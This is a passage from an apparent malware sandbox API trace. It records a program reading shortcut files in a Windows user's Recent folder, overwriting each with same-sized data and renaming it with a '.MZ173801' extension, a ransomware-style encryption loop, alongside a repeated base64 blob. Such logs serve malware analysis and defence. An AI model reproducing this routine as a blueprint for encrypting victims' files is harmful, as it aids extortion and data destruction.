lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.983] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.983] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RheIPXfIwRK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rheipxfiwrk.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf513000, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf513000, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf513000, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x19db)) returned 1 [0121.985] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.985] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.987] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RheIPXfIwRK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rheipxfiwrk.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.988] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.988] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.988] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x19db [0121.988] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.988] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x19db, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x19db, lpOverlapped=0x0) returned 1 [0121.989] CloseHandle (hObject=0x288) returned 1 [0121.989] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RheIPXfIwRK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rheipxfiwrk.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.991] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x19db, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x19db, lpOverlapped=0x0) returned 1 [0121.992] CloseHandle (hObject=0x288) returned 1 [0121.993] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RheIPXfIwRK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rheipxfiwrk.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RheIPXfIwRK.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rheipxfiwrk.lnk.mz173801")) returned 1 [0121.994] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf513000, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf513000, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf513000, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa30, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="rMyIOEW6k4wYJ1YGsx.mkv.lnk", cAlternateFileName="RMYIOE~1.LNK")) returned 1 [0121.994] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.994] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.995] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rMyIOEW6k4wYJ1YGsx.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rmyioew6k4wyj1ygsx.mkv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf513000, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf513000, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf513000, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa30)) returned 1 [0121.997] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.997] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.999] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rMyIOEW6k4wYJ1YGsx.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rmyioew6k4wyj1ygsx.mkv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.999] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.999] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.999] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xa30 [0122.000] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.000] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xa30, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xa30, lpOverlapped=0x0) returned 1 [0122.001] CloseHandle (hObject=0x288) returned 1 [0122.001] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rMyIOEW6k4wYJ1YGsx.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rmyioew6k4wyj1ygsx.mkv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.002] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xa30, lpOverlapped=0x0) returned 1 [0122.003] CloseHandle (hObject=0x288) returned 1 [0122.005] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rMyIOEW6k4wYJ1YGsx.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rmyioew6k4wyj1ygsx.mkv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rMyIOEW6k4wYJ1YGsx.mkv.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rmyioew6k4wyj1ygsx.mkv.lnk.mz173801")) returned 1 [0122.007] FindNextFileW (in: hFindFile=0x2fc680, 